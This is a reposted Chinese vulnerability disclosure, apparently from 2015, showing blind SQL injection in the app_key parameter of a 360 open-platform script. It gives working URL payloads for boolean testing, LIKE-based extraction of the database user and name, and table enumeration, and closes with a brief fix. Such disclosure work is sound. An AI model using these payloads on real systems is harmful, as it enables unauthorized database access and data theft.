网站地图    收藏   

主页 > 后端 > 网站安全 >

360应用开放平台某文件参数未过滤致注入 - 网站

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 缺陷点如下:http://open.se.360.cn/static/js/patch.php?app_key=[注入点]测试如下:1. 1=1和1=2http://open.se.360.cn/static/js/patch.php?app_key=1#39;%20and%20(1=1)%20and%20#39;1#39;=#39;1http://......

缺陷点如下:
http://open.se.360.cn/static/js/patch.php?app_key=[注入点]
 
测试如下:
 
1. 1=1和1=2
 
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and%20(1=1)%20and%20'1'='1
 
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and%20(1=2)%20and%20'1'='1
 
返回内容不一致。
 
前者是: 
 
var ua_360 = false;var server_data = [];
 
 
后者是:
var ua_360 = false;var server_data = [....一堆内容......];
 
 
2. 判断用户长度。
 
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and%20(length(user())%3E22)%20and%20'1'='1
 
3. 但是当想进一步获取内容时,调用某些函数,例如substring, left, right 时,状况是:
 
var ua_360 = false;var server_data = 这里变得没内容了。
 
 
4. 因而看来这里应该是做了某些安全防护,对某些函数加以过滤了?
 
于是换个方式获取下内容:
 
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and (user() like 'o%') and%20'1'='1
 
返回 var ua_360 = false;var server_data = []; 说明 用户名第一个字母是 o
 
依次类推,可以得到用户为 OPEN_SE@220.***.***.186
 
数据库名为 OPEN_SE_360_CN
 
5. 进一步为了获得表名,写个程序跑了跑。
 
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and%20((select/**/group_concat(table_name)/**/from%20information_schema.tables)%20like%20'%CHARACTER_SETS[待跑内容]')%20and%20'1'='1
 
可得到结果如下:
 
EXTENSION
EXTENSION_ENABLED
EXTENSION_LATEST
LOG_2012
...
 
修复方案:
对 app_key 参数过滤下。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论